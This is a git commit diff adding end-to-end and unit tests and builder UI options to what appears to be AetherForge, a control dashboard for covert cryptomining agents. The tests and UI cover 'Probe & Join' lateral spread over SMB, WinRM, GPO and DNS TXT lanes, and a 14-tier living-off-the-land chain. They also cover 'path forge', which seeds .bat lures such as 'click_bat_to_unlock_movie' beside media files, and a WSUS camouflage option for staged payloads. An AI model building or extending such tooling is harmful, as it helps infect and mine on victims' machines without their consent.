Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -0,0 +1,176 @@
/**
* Stub agent for discover→spread E2E — acknowledges discover_and_join and reports join_lane.
*/
import type { APIRequestContext } from '@playwright/test';
import { fetchFleetSecret, waitForServerHealth } from './fixtures';
export const E2E_DISCOVER_AGENT_ID = 'e2e-discover-spread-agent';
export const E2E_DISCOVER_AGENT_HOSTNAME = 'E2E-Discover-Host';
export const E2E_DISCOVER_JOIN_LANE = 'dns_txt';
export const E2E_DISCOVER_JOIN_LABEL = 'DNS TXT';
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
const STATS_INTERVAL_MS = 1_000;
type HubMessage = {
type: string;
payload: string | Record<string, unknown>;
};
function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
if (typeof payload === 'string') {
return JSON.parse(payload) as Record<string, unknown>;
}
return payload;
}
function wsAgentUrl(baseUrl: string): string {
const trimmed = baseUrl.replace(/\/$/, '');
return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
}
function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
ws.send(JSON.stringify({ type, payload }));
}
function sendStubStats(ws: WebSocket, joinLane?: string): void {
send(ws, 'stats', {
hashrate_15s: 42,
hashrate_1m: 42,
hashrate_15m: 42,
shares_submitted: 0,
shares_accepted: 0,
cpu_usage_pct: 5,
memory_usage_pct: 40,
uptime_seconds: 120,
active_method: 'inprocess',
mining_hashrate: 42,
lotl_tier: 'inprocess',
lotl_attempts: [
{ tier: 'vuln_recon', ok: true, duration_ms: 200, phase: 'recon' },
{ tier: 'dns_txt', ok: true, duration_ms: 450, phase: 'deploy' },
],
...(joinLane ? { join_lane: joinLane } : {}),
});
}
async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): Promise<() => void> {
const ws = new WebSocket(wsAgentUrl(baseUrl));
await new Promise<void>((resolve, reject) => {
const timer = setTimeout(() => reject(new Error('discover stub ws open timeout')), 10_000);
ws.addEventListener(
'open',
() => {
clearTimeout(timer);
resolve();
},
{ once: true },
);
ws.addEventListener(
'error',
() => {
clearTimeout(timer);
reject(new Error('discover stub ws connection failed'));
},
{ once: true },
);
});
send(ws, 'auth', {
agent_id: E2E_DISCOVER_AGENT_ID,
fleet_secret: fleetSecret,
hostname: E2E_DISCOVER_AGENT_HOSTNAME,
version: '1.0.0-e2e',
platform: 'windows',
arch: 'amd64',
cpu_cores: 4,
memory_gb: 8,
});
await new Promise<void>((resolve, reject) => {
const timer = setTimeout(() => reject(new Error('discover stub auth timeout')), 30_000);
const onMessage = (ev: MessageEvent) => {
let msg: HubMessage;
try {
msg = JSON.parse(String(ev.data)) as HubMessage;
} catch {
return;
}
if (msg.type !== 'auth_response') return;
clearTimeout(timer);
ws.removeEventListener('message', onMessage);
const body = parsePayload(msg.payload);
if (body.success !== true) {
reject(new Error(`discover stub auth rejected: ${JSON.stringify(body)}`));
return;
}
resolve();
};
ws.addEventListener('message', onMessage);
});
sendStubStats(ws);
const statsTimer = setInterval(() => sendStubStats(ws), STATS_INTERVAL_MS);
ws.addEventListener('message', (ev) => {
let msg: HubMessage;
try {
msg = JSON.parse(String(ev.data)) as HubMessage;
} catch {
return;
}
if (msg.type !== 'command') return;
const payload = parsePayload(msg.payload);
const action = String(payload.action ?? '');
const command = String(payload.command ?? '').trim().toLowerCase();
if (action === 'discover_and_join' || command === 'discover_and_join') {
send(ws, 'command_result', {
action: 'discover_and_join',
success: true,
message: `discover_and_join ok — join_lane=${E2E_DISCOVER_JOIN_LANE}`,
});
sendStubStats(ws, E2E_DISCOVER_JOIN_LANE);
return;
}
send(ws, 'command_result', { action, success: true, message: 'e2e-discover-stub-ok' });
});
return () => {
clearInterval(statsTimer);
ws.close();
};
}
let serverReady = false;
let disconnectStub: (() => void) | null = null;
let connectPromise: Promise<boolean> | null = null;
export async function ensureDiscoverSpreadStub(request: APIRequestContext): Promise<boolean> {
if (disconnectStub) return serverReady;
if (!connectPromise) {
connectPromise = (async () => {
serverReady = await waitForServerHealth(request);
if (!serverReady) return false;
const fleetSecret = await fetchFleetSecret(request);
disconnectStub = await connectDiscoverSpreadStub(baseURL, fleetSecret);
await new Promise((r) => setTimeout(r, 2_500));
return true;
})();
}
return connectPromise;
}
export function isDiscoverSpreadStubReady(): boolean {
return serverReady;
}
export function teardownDiscoverSpreadStub(): void {
disconnectStub?.();
disconnectStub = null;
connectPromise = null;
serverReady = false;
}

View File

@@ -0,0 +1,97 @@
import { expect, test } from '@playwright/test';
import { loginToDashboard } from './fixtures';
import { ensureLiveStubAgent, isLiveStubReady } from './live-stub';
import {
ensureDiscoverSpreadStub,
E2E_DISCOVER_AGENT_HOSTNAME,
E2E_DISCOVER_AGENT_ID,
E2E_DISCOVER_JOIN_LABEL,
isDiscoverSpreadStubReady,
} from './discover-spread-stub';
import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_AGENT_ID } from './stub-agent';
async function openCrucibleSpreadTab(page: import('@playwright/test').Page, hostname: string) {
await page.getByRole('link', { name: /Crucible/i }).click();
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
const card = page.locator('.crucible-node-card').filter({ hasText: hostname });
await expect(card).toBeVisible({ timeout: 15_000 });
await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
await card.click();
await expect(
page.locator('.crucible-actions-card').getByText(new RegExp(`${hostname}`)),
).toBeVisible({ timeout: 10_000 });
await page.getByRole('button', { name: 'LATERAL / SPREAD' }).click();
await expect(page.getByRole('button', { name: 'Probe & Join' })).toBeVisible({
timeout: 10_000,
});
}
test.describe('Crucible discover and spread E2E', () => {
test.describe('Probe & Join command wiring', () => {
test.beforeAll(async ({ request }) => {
await ensureLiveStubAgent(request);
});
test.beforeEach(async ({ page }) => {
test.skip(
!isLiveStubReady(),
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
);
await loginToDashboard(page);
});
test('Probe & Join fires POST discover_and_join for selected online node', async ({ page }) => {
await openCrucibleSpreadTab(page, E2E_STUB_AGENT_HOSTNAME);
const commandRequest = page.waitForRequest(
(req) =>
req.method() === 'POST' &&
req.url().includes(`/api/v1/agents/${E2E_STUB_AGENT_ID}/command`) &&
req.postDataJSON()?.action === 'discover_and_join',
);
await page.getByRole('button', { name: 'Probe & Join' }).click();
const request = await commandRequest;
expect(request.postDataJSON()).toMatchObject({ action: 'discover_and_join' });
await expect(page.locator('.crucible-terminal')).toContainText('discover_and_join → 1 node(s)', {
timeout: 10_000,
});
});
});
test.describe('Multi-hop discover→spread acknowledgment', () => {
test.beforeAll(async ({ request }) => {
await ensureDiscoverSpreadStub(request);
});
test.beforeEach(async ({ page }) => {
test.skip(
!isDiscoverSpreadStubReady(),
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
);
await loginToDashboard(page);
});
test('discover_and_join stub ack updates join lane in Access Depth', async ({ page }) => {
await openCrucibleSpreadTab(page, E2E_DISCOVER_AGENT_HOSTNAME);
const commandRequest = page.waitForRequest(
(req) =>
req.method() === 'POST' &&
req.url().includes(`/api/v1/agents/${E2E_DISCOVER_AGENT_ID}/command`) &&
req.postDataJSON()?.action === 'discover_and_join',
);
await page.getByRole('button', { name: 'Probe & Join' }).click();
await commandRequest;
await expect(page.locator('.crucible-terminal')).toContainText('discover_and_join → 1 node(s)', {
timeout: 10_000,
});
await expect(page.locator('.access-depth-panel')).toContainText(E2E_DISCOVER_JOIN_LABEL, {
timeout: 15_000,
});
});
});
});

View File

@@ -0,0 +1,168 @@
import { expect, test } from '@playwright/test';
import { loginToDashboard } from './fixtures';
import { ensureLiveStubAgent, isLiveStubReady } from './live-stub';
import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_AGENT_ID } from './stub-agent';
/** Display labels for DEFAULT_LOTL_ONION_TIERS (14-tier spread chain). */
const LOTL_ONION_TIER_LABELS = [
'Vuln Recon',
'Docker',
'WSL',
'PowerShell',
'dotnet',
'bits/curl',
'do_peer',
'wsus_cache_peer',
'dns_txt',
'webrtc_mesh',
'SMB',
'WinRM',
'Linux',
'GPO',
] as const;
test.describe('LOTL Timeline E2E', () => {
test.beforeAll(async ({ request }) => {
await ensureLiveStubAgent(request);
});
test.beforeEach(async ({ page }) => {
test.skip(
!isLiveStubReady(),
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
);
await loginToDashboard(page);
});
test('renders 14-tier onion chain, fleet overview, and stub agent progression', async ({ page }) => {
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
await expect(page.getByRole('heading', { name: 'LOTL Timeline' })).toBeVisible({
timeout: 10_000,
});
await expect(page.getByText('FLEET ONION PROGRESS')).toBeVisible();
await expect(
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
).toBeVisible({ timeout: 15_000 });
await expect(page.locator('.lotl-fleet-chip--selected').filter({ hasText: E2E_STUB_AGENT_HOSTNAME })).toBeVisible();
await expect(page.getByText('ONION TIER CHAIN')).toBeVisible();
await expect(page.locator('.lotl-tier-timeline')).toBeVisible();
const steps = page.locator('.lotl-tier-step');
await expect(steps).toHaveCount(14);
for (const label of LOTL_ONION_TIER_LABELS) {
await expect(page.locator('.lotl-tier-label', { hasText: label })).toBeVisible();
}
// Stub lotl_attempts: container (docker alias) failed — spread onion timeline.
await expect(page.locator('.lotl-tier-step--failed', { hasText: /Docker/i })).toBeVisible({
timeout: 15_000,
});
});
test('navigates from sidebar Onion link to /lotl-timeline', async ({ page }) => {
await page.getByRole('navigation').getByRole('link', { name: 'Onion', exact: true }).click();
await expect(page).toHaveURL(/\/lotl-timeline/);
await expect(page.getByRole('heading', { name: 'LOTL Timeline' })).toBeVisible({
timeout: 10_000,
});
});
test('shows AI decision panel when ai_control_enabled and decisions are mocked', async ({ page }) => {
await page.route('**/api/v1/config', async (route) => {
const res = await route.fetch();
const body = (await res.json()) as Record<string, unknown>;
const server = (body.server as Record<string, unknown> | undefined) ?? {};
await route.fulfill({
json: { ...body, server: { ...server, ai_control_enabled: true } },
});
});
await page.route(`**/api/v1/ai/decisions?agent_id=${E2E_STUB_AGENT_ID}*`, async (route) => {
await route.fulfill({
json: [
{
id: 42,
agent_id: E2E_STUB_AGENT_ID,
response: 'restart mining after docker failure',
commands_executed: 'restart_mining:ok',
ts: '2026-06-07T12:00:00Z',
},
],
});
});
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
await expect(
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
).toBeVisible({ timeout: 15_000 });
await expect(page.getByText('LAST AI DECISION')).toBeVisible({ timeout: 10_000 });
await expect(page.getByText('restart mining after docker failure')).toBeVisible();
await expect(page.getByText('restart_mining:ok')).toBeVisible();
});
test('shows Singular Machine Court panel when court session is mocked', async ({ page }) => {
await page.route('**/api/v1/config', async (route) => {
const res = await route.fetch();
const body = (await res.json()) as Record<string, unknown>;
const server = (body.server as Record<string, unknown> | undefined) ?? {};
await route.fulfill({
json: { ...body, server: { ...server, ai_control_enabled: true } },
});
});
await page.route(`**/api/v1/ai/decisions?agent_id=${E2E_STUB_AGENT_ID}*`, async (route) => {
await route.fulfill({
json: [
{
id: 43,
agent_id: E2E_STUB_AGENT_ID,
response: 'Verdict: restart mining after tier exhaustion.',
commands_executed: 'restart_mining:ok',
court_session: true,
prosecutor_snippet: 'Failure atlas: docker 8/8 failed',
defender_snippet: 'Fleet phenotype from worker-07',
judge_verdict: 'restart mining after tier exhaustion.',
ts: '2026-06-07T12:05:00Z',
},
],
});
});
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
await expect(
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
).toBeVisible({ timeout: 15_000 });
await expect(page.getByText('SINGULAR MACHINE COURT')).toBeVisible({ timeout: 10_000 });
await expect(page.getByText('Prosecutor')).toBeVisible();
await expect(page.getByText('Defender')).toBeVisible();
await expect(page.getByText('Judge')).toBeVisible();
await expect(page.getByText(/Failure atlas: docker 8\/8 failed/i)).toBeVisible();
await expect(page.getByText(/Fleet phenotype from worker-07/i)).toBeVisible();
});
test('shows clearance history and events panels when mocked', async ({ page }) => {
await page.route(`**/api/v1/ai/clearance-events?agent_id=${E2E_STUB_AGENT_ID}*`, async (route) => {
await route.fulfill({
json: [
{
id: 7,
agent_id: E2E_STUB_AGENT_ID,
from_level: 1,
to_level: 2,
reason: 'spread lane needed',
source: 'ai_scheduler',
ts: '2026-06-07T11:00:00Z',
},
],
});
});
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
await expect(
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
).toBeVisible({ timeout: 15_000 });
await expect(page.getByText('CLEARANCE HISTORY')).toBeVisible({ timeout: 10_000 });
await expect(page.locator('.lotl-clearance-list').getByText(/AI: L1 → L2/i)).toBeVisible();
await expect(page.getByText('CLEARANCE EVENTS')).toBeVisible();
await expect(page.locator('.lotl-clearance-event-list').getByText(/spread lane needed/i)).toBeVisible();
});
});

View File

@@ -346,4 +346,87 @@ describe('BuilderPage', () => {
});
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
});
it('calls cancelBuild when Kill Build is clicked during single forge', async () => {
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
vi.spyOn(api, 'buildAgent').mockReturnValue(new Promise<BuildResult>(() => {}));
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Compiling', pct: 10 }),
}));
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
const killBtn = await screen.findByRole('button', { name: /Kill Build/i });
fireEvent.click(killBtn);
await waitFor(() => {
expect(cancelSpy).toHaveBeenCalled();
});
});
it('submits path forge and shows placement summary', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({
success: true,
placed: 3,
total: 1,
skipped: 2,
errors: 0,
results: [{ source: 'movie.mkv', files: ['movie.bat', 'click_bat_to_unlock_movie'] }],
}),
});
vi.stubGlobal('fetch', fetchMock);
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
const pathInput = within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i);
fireEvent.change(pathInput, { target: { value: 'D:\\Movies' } });
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
expect(await screen.findByText(/3 files placed across 1 source files/i)).toBeInTheDocument();
expect(fetchMock).toHaveBeenCalledWith(
'/api/v1/builder/path-forge',
expect.objectContaining({ method: 'POST' }),
);
});
it('shows path forge busy state while seeding', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
let resolveForge!: (value: Response) => void;
const fetchMock = vi.fn().mockReturnValue(
new Promise<Response>((resolve) => {
resolveForge = resolve;
}),
);
vi.stubGlobal('fetch', fetchMock);
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
fireEvent.change(within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i), {
target: { value: 'D:\\Movies' },
});
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
expect(await screen.findByRole('button', { name: /Seeding/i })).toBeDisabled();
resolveForge({
ok: true,
json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
} as Response);
await waitFor(() => {
expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled();
});
});
});

View File

@@ -857,9 +857,10 @@ export default function BuilderPage() {
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const fusionPrepSelected = !!fusionPrepFile || fusionBatchFiles.length > 0;
const preflightChecks = useMemo(
() => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
[form, fusionPrepFile]
() => (form ? runForgePreflight(normalizeForgeForm(form), fusionPrepSelected) : []),
[form, fusionPrepSelected]
);
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
@@ -2963,6 +2964,24 @@ export default function BuilderPage() {
<FieldHint field="winrm_spread" />
</div>
<div className="form-group" style={{ marginBottom: '0.75rem' }}>
<label className="label">Fleet role</label>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
{(['auto', 'miner', 'seeder'] as const).map((role) => (
<button
key={role}
type="button"
className={`endpoint-chip ${(form.fleet_role ?? 'auto') === role ? 'active' : ''}`}
title={role === 'seeder' ? 'LAN staging only dns_txt/webrtc/do_peer, no RandomX' : role === 'miner' ? 'Pull from nearest seeder, hash RandomX' : 'Server assigns role on auth when Calibrate fleet_roles_enabled'}
onClick={() => updateField('fleet_role', role)}
>
{role === 'auto' ? 'Auto' : role === 'miner' ? 'Miner' : 'Seeder'}
</button>
))}
</div>
<p className="form-hint">Seeder skips mining; miners may pull payloads from LAN seeders via webrtc/do_peer.</p>
</div>
<div className={`form-group checkbox-group ${fieldMeta.dns_txt_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.dns_txt_spread !== false}
@@ -2985,6 +3004,17 @@ export default function BuilderPage() {
<ForgeLockedHint meta={fieldMeta.wsus_cache_peer_spread} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.wsus_format_mimic?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.wsus_format_mimic !== false}
disabled={fieldMeta.wsus_format_mimic?.disabled || form.wsus_cache_peer_spread === false}
onChange={(e) => updateField('wsus_format_mimic', e.target.checked)} />
<span>WSUS Format Mimic — *.cab.partial SSU/CAB camouflage <HelpTip field="wsus_format_mimic" /></span>
</label>
<FieldHint field="wsus_format_mimic" />
<ForgeLockedHint meta={fieldMeta.wsus_format_mimic} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.webrtc_mesh_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.webrtc_mesh_spread}